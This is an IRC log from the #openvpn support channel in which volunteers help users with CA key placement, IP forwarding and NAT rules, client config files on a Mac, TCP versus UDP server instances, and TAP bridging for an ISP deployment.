21:31 < pekster> I run "much" of my PKI off of an online (and reasonably-well-protected) system. Small portions of it are still offline. I have one PKI that the roots are offline, but I created a sub-CA (and cert under the offline roots that can itself sign)
21:31 -!- adolfomaltez [~taro@190.62.247.125] has joined #openvpn
21:31 < Devastator> I don't have that kind of skill
21:32 < pekster> Again, all depends on what your goals are
21:32 < Devastator> probably my grand son, or even his son
21:32 < pekster> Lots of people just do easy-rsa out of the same online system their server runs on
21:33 < pekster> Nothing wrong with that, but it "opens up" the door to any service (maybe openssh, apache, etc) to let an attacker get into those files and try to brute-force your CA key. Many people don't even try to stop that threat beyond updating the OS
21:33 < Devastator> I just find it.. unsafe, because, as you said the other day, everything is in there
21:33 < pekster> Pick your level of paranoia and stick with it
21:34 < Devastator> I try to do what is considered sane for most real sysadmins
21:34 < Devastator> not fake sysadmins
21:34 < pekster> Online CAs are common, but they're separated based on duty. "Mission critical" stuff for highly secured companies are in vaults with guards and careful logs about each and every access and change
21:35 < pekster> eg: the CAs that sign website certificates have to pass extensive audits to be allowed into OSes and browsers
21:35 < pekster> (and some of them are run by corrupt governments anyway, but I won't go into that today)
21:36 < Devastator> pekster do you know those kinds that install openvpn just to say they have it? I'm trying not to be that kind of person, I'm trying to take advantage of what it provides
21:38 < Devastator> some people still call me crazy for setting up vlans for a 20 user lan
21:39 < Devastator> they ask: why didn't you setup an alias instead? routed your modem and plugged into a switch and used opendns to filter?
21:45 < Devastator> well, I don't know if I making any sense right now heheh
21:46 < pekster> OpenDNS sucks. They violate spec by sending you to their ad-generating domain instead of returning NXDOMAIN. Use GoogleDNS instead.
21:47 -!- _DomY-Dom [~hussainah@94.23.145.51] has joined #openvpn
21:48 < Devastator> nah, right now I'm using dnsmasq + prerouting rule
21:49 < Valcorb> !redirect
21:49 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
21:49 <@vpnHelper> http://ircpimps.org/redirect.png
21:49 < Devastator> but I plan to switch to squid shortly
21:49 < Valcorb> !ipforward
21:49 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
21:49 < Valcorb> !nat
21:49 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
21:50 < Devastator> my point is.. I don't understand how people satisfy themselves with such a "lame" solution imho
21:50 < _DomY-Dom> Hello, I have an interesting query. I am trying to get Viscosity to connect to a openvpn connection through the command-line. I can already do it just by clicking the icon but I wanted to make a bash script for it. I have already identified the process as being http://pastebin.com/C2pt1dEA where the "AAAAA" you see in tmpAAAAA.conf can be random characters and the "BBBB" in "5BBBB" can be random integers. I wanted to know how I could generalise this com
21:51 < Valcorb> !ipforward
21:51 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
21:51 < Valcorb> !linipforward
21:51 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
21:51 < _DomY-Dom> Valcorb: is this for me ?
21:52 < Valcorb> no sorry
21:52 < Valcorb> for me
21:52 < Valcorb> :P
21:52 < Valcorb> need this info to set up my server
21:52 < _DomY-Dom> k
21:52 < _DomY-Dom> any idea how to help me with making my bash script ?
21:52 < _DomY-Dom> Valcorb: ?
21:53 < Valcorb> hmm
21:53 < Valcorb> nope not really, I'm not really experienced with that :/
21:53 < Valcorb> sorry
21:53 < _DomY-Dom> Valcorb: So as in, when I kill that process in htop, it disconnects the VPN in viscosity. But I want a command for it to be able to connect
21:53 < Valcorb> hmm, maybe pekster knows
21:54 < Valcorb> but i truly have no idea
21:56 < _DomY-Dom> pekster: http://pastebin.com/raw.php?i=ERpP7vLq
21:58 < pekster> Obviously it's generating the config dynamically
21:58 < pekster> Just write your own config file
21:58 < _DomY-Dom> pekster: Yeah, dunno how it looks like though. Also what about the 5BBBB ?
21:58 < pekster> Management password
21:58 < _DomY-Dom> pekster: cause I can't actually view the config file. Why does the "managemen" password change each time ?
21:59 < pekster> Oh, or "management port" I guess. That's not actually a valid port...
21:59 < pekster> See --management in the manpage
21:59 < _DomY-Dom> pekster: so what would the content of the config file have to look like ? ok so I don't need the 5BBBB ?
21:59 < pekster> !howto
21:59 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
21:59 < pekster> There are very verbose samples online too
22:00 < pekster> The manpage will also tell you more about every option
22:00 < pekster> Maybe there's some way to interact with Viscocity through a command-interface, but I don't have a mac or much experience with it; I've used Tunnelblick, but that was a couple years ago
22:02 < _DomY-Dom> pekster: Yeah, but I'm not sure what this "tmpXXXXX.conf" file is meant to do. Could you indicate me on the page which one it refers to ? And also the section about what comes after 127.0.0.1 after --management ? Because, honestly, I think after doing that, I've figured it out since whenever this process is listed in htop, if I kill it, it disconnects the VPN.
22:02 < pekster> _DomY-Dom: It's just the config file. Call it my.conf. Or even cute.jpg for all openvpn cares
22:02 < _DomY-Dom> pekster: which means that technically if I can "run it" it connects it
22:02 < pekster> You need to read the howto, because all of this is explained there
22:03 < _DomY-Dom> pekster: yeah but I don't know in the howto which .conf it refers to, there are dozens of .conf for loads of different things
22:03 < pekster> *You* create the config
22:03 < pekster> It's just a text file
22:03 < _DomY-Dom> pekster: which says what though ?
22:03 < pekster> OpenVPN directives to do what you want
22:04 < pekster> Which is, in fact, explained in the howto
22:04 < _DomY-Dom> pekster: does it have to have any content, or can I just call it tmpXXXXX.conf
22:04 < pekster> Why don't you read the howto and see what it says on that point?
22:04 < _DomY-Dom> pekster: which section, I'm already getting lost in the hotwo ?
22:05 < pekster> Then perhaps configuring OpenVPN isn't for you. There's an entire section dedicated to the configuration files
22:06 < _DomY-Dom> pekster: http://www.secure-computing.net/openvpn/howto.php#config I guess then..
22:06 <@vpnHelper> Title: SCN: OpenVPN IRC Channel Policy (at www.secure-computing.net)
22:06 < pekster> !howto
22:06 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
22:07 < pekster> *THAT* howto
22:07 < pekster> Ah, or that mirror, yes
22:08 < pekster> People put a lot of time into creating it. Those of us who volunteer here don't like answers 2-dozen questions that are expalined in the official documentation; read it, then read it again, and then ask if you're still confused
22:10 < `nand`> with ‘--cipher none’ do you still need a valid key/certificate to connect?
22:10 < _DomY-Dom> pekster: the thing is, those are for linux & BSD. I'm confused about which .conf file we're referring to exactly
22:11 < Valcorb> pekster: i saw the howto but I still don't get it, I have enabled push "redirect-gateway def1" in my server config file and made sure ipv4 forwarding in systcl.conf is on, but still i'm not able to use the internet when im connected to the openvpn server
22:13 < _DomY-Dom> pekster: Also, I can't view the current .conf generated by OpenVPN in /Library/ViscosityHelperTools/ActiveConnections/ how come ? If I could I would know what to include in the one I make.
22:13 < _DomY-Dom> pekster: As in, I can't cat it or find it when I browse to that dir
22:14 < pekster> Valcorb: Where did you get stuck on the flowchart?
22:14 < Valcorb> nowhere, i did everything as they asked
22:14 < Valcorb> oh
22:14 < Valcorb> hmm
22:14 < _DomY-Dom> pekster: have read the wiki -- could you please give me a tip here please though ?
22:15 < Valcorb> iptables gives an error
22:15 < Valcorb> iptables: No chain/target/match by that name.
22:15 < pekster> _DomY-Dom: Find the config file it's generating, or just build your own based on your server's settings
22:16 < pekster> How did you create your server config anyway if you don't have any idea how your system was set up?
22:17 < pekster> Valcorb: Doing what?
22:17 < Valcorb> iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE
22:17 < _DomY-Dom> pekster: That's the point, I can't find the one it's generating because it isn't in the directory it says it is. I didn't make my own server config, it's a VPN I'm using which already has all the certificates etc I'm just trying to figure out how to connect to it through the command line and I can disconnect by killing that process in htop but can't connect due to not knowing what to do for config files etc
22:18 < pekster> Valcorb: You don't have the nat table or MASQUERADE target then. modprobe them (if your kernel has them but didn't autoload it) or build the kernel modules if you didn't put them in. What distro? Or is this a VPS you don't control (in which case you need to have the owner fix it)
22:18 < Valcorb> I do control it
22:18 < Valcorb> its Debian
22:19 < pekster> Oh, then you're missing nat or MASQUERADE support...
22:19 < pekster> somehow
22:19 < pekster> What do you get if you do 'iptables -j MASQUERADE -h' ?
22:20 < Valcorb> lemme pastebin it
22:21 < Valcorb> http://pastebin.com/eWHj90sM
22:21 < pekster> _DomY-Dom: You need to know the server settings if you're connecting to a remote server. If it's generic-ish, just use the official sample configs and drop in your keys and remote server details and you're done. But your client settings *must* match the server's for things like encryption and tun/tap settings. See also:
22:21 < pekster> !both
22:21 <@vpnHelper> "both" is If you do not control both ends of the link (server and client) then there is not much we can do to help you. Please talk to your network admin instead.
22:21 < pekster> !provider
22:21 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
22:22 < _DomY-Dom> pekster: Any idea how I can find the config file its generating if it's not in the dir it's says it's getting it from (that is --config/Library/ActiveConnections/tmpAAAAAA.conf), the tmpAAAAA.conf isn't there. I know but how do I know the servers settings, I don't get the howto as to how to write this config file. I have the server's ca.crt and ta.key.)
22:22 < pekster> Valcorb: and 'iptables -t nat -nvL' ?
22:22 < Valcorb> http://pastebin.com/PPAnDixt
22:23 < pekster> _DomY-Dom: For the last time, use the sample config file and add in details you need based on the settings you apparently already know
22:24 < _DomY-Dom> pekster: I'm really sorry if I'm slow to understand. Where is the sample.conf ?
22:24 < pekster> hint: the sample config files are in the howto that you obvoiusly didn't read
22:24 < pekster> I'm done helping if you can't be bothered to read the documentation links I send you
22:25 < _DomY-Dom> pekster: this http://openvpn.net/index.php/open-source/documentation/howto.html#client ?
22:25 <@vpnHelper> Title: HOWTO (at openvpn.net)
22:26 < pekster> Valcorb: You sure you didn't mis a spelling on any of that? Your kernel has loaded the support for both the nat table and MASQUERADE targets based on those outputs
22:26 < Valcorb> Yeah I double-checked everything
22:26 < Valcorb> its very weird
22:27 < pekster> Oh, the POSTROUTING has an entry too, but it lacks a target...
22:27 < pekster> Did you upgrade the kernel or something recently and forget to reboot?
22:27 < Valcorb> hmm
22:27 < pekster> Could be modules that don't match up with the running kernel
22:27 < Valcorb> lets try to reboot
22:27 < Valcorb> yea
22:27 < Valcorb> ok rebooting
22:28 < _DomY-Dom> pekster: What if I don't have the server.conf because it isn't my VPN server ?
22:29 < Valcorb> okay i rebooted pekster, want me to re-do those commands?
22:29 < pekster> Then you don't get to know what options they used. If they used non-default encryption, for instance, you'd need to match that up to your client config, or any one of a dozen other options that need to match. You might "assume" they're using a pretty vanilla configuration if your GUI crap just worked
22:30 < pekster> I'm not your VPN provider's support team. I have zero clue how they're configured to work
22:30 < pekster> Valcorb: Any part of the server-side OS stuff that you ddin't make permenant you need to set up again
22:30 < Valcorb> I made everything permanent I believe
22:30 < Valcorb> As I knew it sometimes has to reboot
22:30 < pekster> ie: IP forwarding, NAT, and allowing the traffic through your firewall's filter/FORWARD chain
22:31 < Valcorb> IP forwarding should be permanent
22:31 < Valcorb> !nat
22:31 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
22:31 < _DomY-Dom> pekster: All I've got are .ovpn files, a ca.crt and a ta.key
22:31 < Valcorb> _DomY-Dom: .ovpn is your config file
22:31 < _DomY-Dom> pekster: an .ovpn file *
22:31 < Valcorb> you can find samples in
22:32 < Valcorb> C:/Program Files/OpenVPN/config-samples
22:32 < Valcorb> C:/Program Files/OpenVPN/sample-config
22:32 < Valcorb> *
22:32 < pekster> He's on a mac, but yes, samples are also on the page I linked about 3 times now
22:32 < Valcorb> oh
22:32 < pekster> And you apparently also managed to completely miss the howto on config files. The part that reads "Note that on Linux, BSD, or unix-like OSes, the sample configuration files are named server.conf and client.conf. On Windows they are named server.ovpn and client.ovpn."
22:33 < _DomY-Dom> Well that's easy then.. --config/path/to/file.ovpn in this command http://pastebin.com/raw.php?i=iRJyVgiW rather than /Library/ViscosityHelperTools/ActiveConnections/tmpAAAAA.conf ?
22:33 < Valcorb> damn, after reboot it still gives the same error
22:33 < _DomY-Dom> pekster: I'm using Mac though, didn't pay attention to the "Windows" section
22:33 < pekster> Valcorb: Can I see 'iptables-save' ?
22:33 < Valcorb> iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE --> no chain/target/match by that name
22:33 < Valcorb> sure
22:33 < _DomY-Dom> Valcorb: check my last question you may know the answer
22:34 < pekster> Hint: Mac is a "Unix-like" system
22:34 < Valcorb> http://pastebin.com/V2z8nCD7
22:34 < _DomY-Dom> pekster: Which is why it makes no sense that the .conf I was talking about is the same as the .ovpn thing I can connect to !
22:34 < pekster> But your config can be called whatever
22:34 < pekster> I believe I said earlier you can call it cute.jpg if you'd like
22:34 < pekster> That doesn't make it a cute photograph. It's a text file
22:35 < Valcorb> no
22:35 < Valcorb> you have to
22:35 < Valcorb> make sure
22:35 < Valcorb> that
22:35 < Valcorb> your file is called .ovpn at the end
22:35 < Valcorb> or .conf, I don't know about Mac, check the dosx
22:35 < Valcorb> *docs
22:35 < Valcorb> btw, pekster, here it is: http://pastebin.com/V2z8nCD7
22:35 < _DomY-Dom> pekster: no because then it gives me this error http://pastebin.com/raw.php?i=95DY70Qj
22:35 < _DomY-Dom> pekster: when I try and execute the bashscript
22:36 < _DomY-Dom> pekster: actually wait, maybe because I'm still connected to it. Lemme log off and telll you if you if it makes a difference. brb
22:36 < pekster> Valcorb: weird. What's the output of 'zgrep CONFIG_NF_NAT /proc/config.gz' ?
22:36 -!- _DomY-Dom [~hussainah@94.23.145.51] has quit [Quit: leaving]
22:37 < Valcorb> gzip: /proc/config.gz: No such file or directory
22:37 < Valcorb> lol
22:37 < pekster> Lousy debian...
22:37 < Valcorb> ikr
22:37 < pekster> wtf would you hide the options you built a kernel with? :(
22:37 < pekster> Well, the output from iptables suggests they're present, but your error suggests otherwise
22:38 < Valcorb> yeah
22:38 -!- _DomY-Dom [~hussainah@94.23.145.51] has joined #openvpn
22:38 < Valcorb> its weird
22:38 < pekster> how about 'lsmod | grep nat' ?
22:38 < Valcorb> nothing
22:38 < Valcorb> lol
22:39 < pekster> Must be compiled into the kernel then (by process of elimination)
22:39 < Valcorb> hmm
22:39 < pekster> Any SELinux involved?
22:40 < Valcorb> don't think so
22:40 < pekster> And, as root, 'iptables -t nat -A POSTROUTING -s 10.8.0.0 -o eth0 -j MASQUERADE' still throws that error?
22:40 < pekster> Erm, /24 on that -s network
22:41 < Valcorb> yup
22:41 < Valcorb> still same error
22:42 < pekster> Try SNAT instead using your server's IP: 'iptables -t nat -A POSTROUTING -s 10.8.0.0/24 0o eth0 -j SNAT --to-source $ip_of_eth0'
22:42 < Valcorb> Bad argument `0o'
22:42 < Valcorb> just 0, right? :P
22:42 < pekster> -o
22:42 < pekster> (typo)
22:42 < Valcorb> o
22:42 < pekster> -o eth0
22:43 < pekster> We're just changing the target
22:43 < pekster> Not thte match
22:43 < Valcorb> iptables v1.4.8: option `--to-source' requires an argument
22:43 < pekster> Right, replace that with your actual IP...
22:43 < `nand`> Can I use a HTTP(S) proxy in UDP mode?
22:43 < Valcorb> oh
22:43 < Valcorb> wow
22:43 < Valcorb> im an idiot
22:43 < Valcorb> lol
22:43 < `nand`> Or would I have to switch to tcp mode for that
22:43 < Valcorb> okay done pekster
22:44 < pekster> `nand`: You mean across the VPN? You can said whatever traffic you want across the VPN tunnel, but you can't connect to an openvpn server as a client through an https proxy becuase openvpn speaks the openvpn protocol, not https
22:44 < Valcorb> wait, what IP should it be? 10.8.0.0?
22:44 < pekster> Nope
22:44 < pekster> eth0's IP
22:44 < Valcorb> aha
22:44 < `nand`> pekster: that's incorrect
22:44 < `nand`> pekster: OpenVPN supports HTTP proxies
22:45 < `nand`> see option --http-proxy
22:45 -!- _DomY-Dom [~hussainah@94.23.145.51] has quit [Ping timeout: 240 seconds]
22:45 < pekster> `nand`: Oh, I guess I'm mistaken. Then yea, you'd need tcp for that
22:45 < Valcorb> well i'll check it out tomorrow
22:45 < Valcorb> almost 6 am here
22:45 < `nand`> ah, okay. I need to run two servers to support both TCP and UDP connections, right?
22:45 < pekster> Yup
22:46 < Valcorb> thanks for the help pekster!
22:46 < pekster> With separate network ranges, although you can have the local firewall route between them
22:46 < `nand`> is there some fundamental reason for that or would it be possible to support connecting via both TCP and UDP?
22:46 < pekster> Valcorb: Yea, good luck. There's something screwey with your kernel support. Maybe try 'apt-get update && apt-get dist-upgrade'
22:46 < Valcorb> could try dist-upgrade
22:46 < Valcorb> i did apt-get update a few hours ago
22:47 < pekster> update just updates your list of packages
22:47 < `nand`> I need to connect through a HTTP proxy from one peer, but using TCP instead of UDP imposes a large hit on throughput
22:47 < Valcorb> yea
22:47 < pekster> Not actually upgrades your OS
22:47 < Valcorb> nah
22:47 < Valcorb> dist-upgrade:
22:47 < Valcorb> 0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
22:47 < pekster> `nand`: Right. UDP is preferred, but an http proxy only transports tcp data
22:47 < Valcorb> anyways, good night!
22:48 < pekster> Same problem you have with tor, or an ssh SOCKS proxy, etc
22:48 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
22:48 < `nand`> pekster: could I set some sort of silly mechanism up to listen on the TCP port and forward all traffic to the UDP port instead?
22:48 < pekster> Nope
22:49 < pekster> Just run 2 instances and route between them if you want clients to reach one-another on different instances
22:51 < `nand`> Hmm this seems relevant http://www.cs.columbia.edu/~lennox/udptunnel/
22:51 <@vpnHelper> Title: UDPTunnel 1.1 (at www.cs.columbia.edu)
22:56 < pekster> It won't give you any better performance, and in fact would incur slightly more packet overhead to add yet another layer of encapsulation, plus make the setup more complicated. If you want that badly to connect to a single openvpn instance, sure, check it out, but IMO it's not woth the added complexity
22:57 < pekster> You can basically just copy your UDP config on the server, set it to tcp-server for the protocol, give it a different netnwnork range (eg, 10.8.0.0/24 -> 10.8.1.0/24) and you're done
22:58 < `nand`> pekster: I don't care about performance on the machine that needs the HTTP proxy
22:59 < pekster> I just don't see why you're trying so hard to avoid running a 2nd instance
23:02 < pekster> Quite a list of limitations on that udptunnel project too. Not sure what you get for all your trouble in the end
23:03 < pekster> Circa 2001 too; hopefully it still builds ;)
--- Day changed Wed Feb 13 2013
00:30 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
00:50 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
00:50 -!- mode/#openvpn [+o krzee] by ChanServ
01:03 -!- b1rkh0ff [~b1rkh0ff@178.77.19.125] has quit [Read error: Operation timed out]
01:18 -!- jY [~jy@photoblog.com] has quit [Ping timeout: 276 seconds]
01:20 -!- b1rkh0ff [~b1rkh0ff@178.77.22.0] has joined #openvpn
01:39 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds]
02:16 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
02:19 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 248 seconds]
02:33 -!- knobo [~bohmer@81.175.44.217] has joined #openvpn
02:52 -!- p3rror [~mezgani@2001:0:53aa:64c:2c98:2140:d607:4551] has joined #openvpn
03:08 -!- kobolduk [~kobolduk@office.prolocation.net] has joined #openvpn
03:09 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
03:10 -!- hg_5_ [~chatzilla@91.234.245.245] has joined #openvpn
03:17 -!- zz_AsadH is now known as AsadH
03:24 -!- Saviq_ [~Saviq@178.182.120.58.nat.umts.dynamic.t-mobile.pl] has joined #openvpn
03:24 -!- Saviq_ [~Saviq@178.182.120.58.nat.umts.dynamic.t-mobile.pl] has quit [Read error: Connection reset by peer]
03:33 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
03:34 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
03:40 -!- hg_5_ [~chatzilla@91.234.245.245] has quit [Ping timeout: 256 seconds]
03:41 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 256 seconds]
03:47 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
03:52 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
03:55 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Client Quit]
03:59 -!- dazo_afk is now known as dazo
04:26 -!- kobolduk [~kobolduk@office.prolocation.net] has quit [Ping timeout: 272 seconds]
04:27 -!- kobolduk [~kobolduk@office.prolocation.net] has joined #openvpn
04:36 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has joined #openvpn
04:37 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has quit [Client Quit]
04:57 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
04:58 -!- hg_5_ [~chatzilla@91.234.245.245] has joined #openvpn
05:02 -!- loompek [~noname@unaffiliated/loompek] has joined #openvpn
05:02 < loompek> mornin, smee again
05:10 -!- hg_5_ [~chatzilla@91.234.245.245] has quit [Ping timeout: 272 seconds]
05:10 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 272 seconds]
05:44 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 252 seconds]
05:47 -!- syzzer [~steffan@50709F7C.static.ziggozakelijk.nl] has quit [Quit: leaving]
06:00 < loompek> so i have a specific question regarding tap mode on server... i'd like to bridge different users (clients) with different bridges on one server instance
06:00 < loompek> e.g. user1001 would be bridged to bridge1001, user1002 to bridge1002 etc...
06:01 < loompek> user's tap devices are probably dynamic (tun0 is provided to the first user who connects to the system, tun1 to the second, tun2 to third, etc...)
06:02 < loompek> the bridge devices are already up
06:02 < loompek> and are already bridged to different nics
06:02 < loompek> would it be possible to do this in one server instacne
06:02 < loompek> s/instacne/instance/
06:03 < loompek> or will i have to set up multiple server instances.. one for every user.. which wouldn't be okay...
06:03 < loompek> as every instance would use different port
06:05 <@dazo> loompek: sounds like an impossible task ... you can't have separate tap devices per user without separate openvpn instances
06:05 <@dazo> loompek: but more importantly ... why do you want to bridge?  Just to have access control for each user?
06:06 < loompek> no, because this server would be a virtual link aggregator
06:06 <@dazo> Not sure if I understand the use case at all
06:06 < loompek> it would be an isp solution
06:07 < loompek> every user has it's own vlan
06:07 < loompek> dhcp server is hidden behind edge router
06:07 < pekster> But, you already get that with openvpn already
06:07 <@dazo> I see
06:08 < pekster> Just don't route between clients and OpenVPN in tun mode is effectively puts every client in their own "vlan" so to speak at an L3 level
06:08 < loompek> this system would be connected in front of the edge router and provide remote access to each user
06:08 < loompek> like i said
06:08 <@dazo> well, TAP and bridging most likely isn't the solution here .... that requires separate processes
06:08 < loompek> tun is unacceptable
06:08 < loompek> tap is the only way to go
06:09 < loompek> so.. each and every user should have it's own server instance
06:09 <@dazo> because openvpn clients may have broadcast traffic you need to transfer to the customer vlan's behind the server?
06:09 < loompek> i don't mind the broadcast traffic
06:09 < loompek> as it would provide l2 to each user...
06:09 < loompek> and everything should work...
06:10 < loompek> from ARP to DHCP traffic
06:10 <@dazo> yeah, that's what I meant ... your service requires to transport L2 traffic across VPN to VLAN
06:10 < loompek> indeed
06:11 <@dazo> As you are in an ISP situation here, tap + bridging are the only solution here .... and to be honest, I'm not sure OpenVPN is the right solution in this setup
06:12 <@dazo> as it won't scale well when you have new customers .... new customer => new VLAN => new OpenVPN server config => bridge VLAN+tap
06:12 <@dazo> however!  separate openvpn servers will make the general performance far better than a shared openvpn server ... as each server have only one client to care for
06:13 < havoc> loompek: how many projected customers?
06:13 < pekster> Context switching will still slaughter throughput though
06:13 < havoc> that's a relevant factor
06:14 <@dazo> pekster: actually, context switching (I presume you mean kernel/user-space switches) aren't the biggest trouble with openvpn ... the general efficiency in the tun.ko driver is actually worse
06:15 <@dazo> (the tun.ko driver handles traffic above 1-2Gbps poorly in its current shape)
06:15 < havoc> I thought TUN was better than TAP, performance-wise?
06:15 < havoc> or is that only an issue of L2 v. L3?
06:15 < pekster> Oh, interesting to note. I guess there are multiple bottlenecks in that sense then
06:15 <@dazo> havoc: performance wise, you have a higher overhead with TAP than TUN, due to L2 vs L3
06:15 < havoc> right
06:16 < havoc> but are you also saying that level for level, TAP is better than TUN?
06:16 < havoc> i.e. L3+
06:16 <@dazo> pekster: one hard nut in the tun.ko vs other NICs ... is hardware checksum calculations on TCP packets, which is impossible in a software-only driver
06:16 < pekster> Ah, sure. No TCO possible
06:17 <@dazo> havoc: TUN/L3 gives best performance, due to no ARP broadcasts and such .... TUN/L3 also only transmits traffic destined to that particular client
06:17 <@dazo> havoc: TAP/L2 will always send out broadcast traffic, both on L2 and L3 layer
06:18 < havoc> right, so not an easy/accurate comparison
06:18 <@dazo> havoc: and in addition, you have the Ethernet frames which are transmitted in TAP/L2 ... while TUN/L3 only transport IP packets
06:18 < havoc> right
06:18 < havoc> also, sounds like you came across a situation where bridging is recommended ;)
06:19 <@ecrist> there are certainly situations where bridging is recommended
06:19 <@ecrist> they're rare, though
06:19 < havoc> yeah
06:19 < havoc> I've had a few in the past
06:19 < havoc> been migrating stuff from TAP to TUN too, it's just slooooow :(
06:19 <@dazo> pekster: I know that there are some discussion about making the tun driver multi-threaded as well ... having more tx/rx queues internally as well, so the application can shuffle more data to/from the tun via more "pipes" in the application .... that's the other big bottleneck
06:20 <@dazo> pekster: and the driver to sort out that is KVM/Qemu .... which uses tun.ko for para-virtualised networks
06:20 <@ecrist> the most compelling reason to switch from tap to tun for me is mobile device support
06:20 <@ecrist> there's not tap adapter for iOS/Android
06:21 < havoc> that's a definite perk
06:21 < havoc> does the new android ovpn require root access still?
06:22 <@dazo> havoc: "OpenVPN for Android" and "OpenVPN Connect" uses the Android VPN API ... so no rooting needed
06:22 <@dazo> but requires ICS or JB
06:22 < havoc> I don't know what those are
06:22  * havoc googles
06:22 <@ecrist> Android 4
06:22 < havoc> oh, jelly bean
06:23 < havoc> bah, mine's a bit older I think
06:23 < havoc> but still good to know
06:25 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
06:29 < sw0rdfish> hey guys, can my vpn provider restrict me to ONLY use a TAP device on my end?
06:29 <@ecrist> yes
06:30 <@dazo> sw0rdfish: if you VPN provider uses OpenVPN, you can only use whatever the VPN provider offers you .... you need to use the same on both sides
06:37 < loompek> havoc hard to tell... i preconfigured vlans 1001 do 1099 :)
06:38 < havoc> ah
06:38 < loompek> but i guess i'll have to check for a different approach
06:38 < havoc> I'm just wondering why the bridging
06:39 < loompek> because it would be easy to integrate to current core network
06:40 < havoc> still need TAP for the L2 stuff for the customers, but I'd think you could do it w/ TAP and no client-to-client
06:40 < havoc> then do the rest w/ routing on the vpn host
06:40 <@dazo> havoc: you won't be able to route broadcast traffic from the customer  dedicated VLANs  with that approach
06:41 < havoc> but I understand that the situation is more complicated than what I'm aware of
06:41 < havoc> dazo: ah, so bcast is required?
06:41 <@dazo> or L2 traffic, in general
06:41 <@dazo> this really is one of the very rare cases where tap+bridging is the solution
06:42 < havoc> sounds like it
06:45 < sw0rdfish> dazo woe
06:45 < sw0rdfish> wow*
06:45 < sw0rdfish> ok I see.
06:46 < sw0rdfish> thanks
06:46 < sw0rdfish> well god damn it I need to make iptables work for eth0 -> tap0
06:47 < sw0rdfish> maybe I'm gonna try making a backup of the config file and use rules only for tap0
06:50 < loompek> never mind... i guess i'll deploy routeros on x86 platform.. that openvpn implementation allows me on doing just what i'd like
06:52 < loompek> http://wiki.mikrotik.com/wiki/OpenVPN#OpenVPN_server_Instance
06:52 <@vpnHelper> Title: OpenVPN - MikroTik Wiki (at wiki.mikrotik.com)
06:55 -!- knobo [~bohmer@81.175.44.217] has quit [Read error: Connection reset by peer]
06:55 < pekster> No idea what that text is trying to say. None of the code is openvpn or apaprent to any OS I'm familiar with. I've used openvpn in both routed and bridged modes on the OpenWRT platform on MIPS before with results one would expect for the platform
07:01 -!- nirvannah [~nirv@unaffiliated/nirvana] has joined #openvpn
07:02 < nirvannah> hello, are there any way that to hide my torrent activity when i'm using vpn? because the vpn wont allow me to torrent
07:03 <@ecrist> you mean your vpn service provider?
07:03 -!- master_of_master [~master_of@p57B53160.dip.t-dialin.net] has quit [Ping timeout: 252 seconds]
07:03 < nirvannah> yes
07:03 <@ecrist> not really the right channel
07:03 < nirvannah> thanks but may you lead me to the right channel
